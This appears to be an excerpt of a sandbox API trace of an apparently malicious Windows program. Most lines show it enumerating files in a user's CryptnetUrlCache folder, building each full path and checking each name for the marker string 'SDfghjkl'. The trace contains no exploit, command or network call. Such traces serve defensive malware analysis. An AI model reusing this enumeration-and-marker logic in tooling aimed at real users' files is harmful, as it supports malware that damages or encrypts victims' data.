[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 151
[0131.100] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 151
[0131.100] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 151
[0131.100] StrStrIW (lpFirst="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 151
[0131.100] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 151
[0131.100] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 151
[0131.100] StrStrIW (lpFirst="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned 118
[0131.100] StrStrIW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch="SDfghjkl") returned 0x0
[0131.100] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1
[0131.100] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 151
[0131.101] StrStrIW (lpFirst="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpSrch="SDfghjkl") returned 0x0
[0131.101] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1
[0131.111] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 151
[0131.111] StrStrIW (lpFirst="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpSrch="SDfghjkl") returned 0x0
[0131.111] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1
[0131.111] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 151
[0131.111] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpSrch="SDfghjkl") returned 0x0
[0131.111] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1
[0131.111] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 151
[0131.111] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpSrch="SDfghjkl") returned 0x0
[0131.111] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1
[0131.111] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 151
[0131.111] StrStrIW (lpFirst="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpSrch="SDfghjkl") returned 0x0
[0131.111] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1
[0131.111] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 151
[0131.111] StrStrIW (lpFirst="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpSrch="SDfghjkl") returned 0x0
[0131.111] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1
[0131.111] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 151
[0131.112] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 151
[0131.112] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 151
[0131.112] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 151
[0131.112] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 151
[0131.112] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 151
[0131.112] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 151
[0131.112] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 151
[0131.112] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 151
[0131.112] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 151
[0131.112] StrStrIW (lpFirst="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpSrch="SDfghjkl") returned 0x0
[0131.112] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1
[0131.112] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 151
[0131.112] StrStrIW (lpFirst="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpSrch="SDfghjkl") returned 0x0
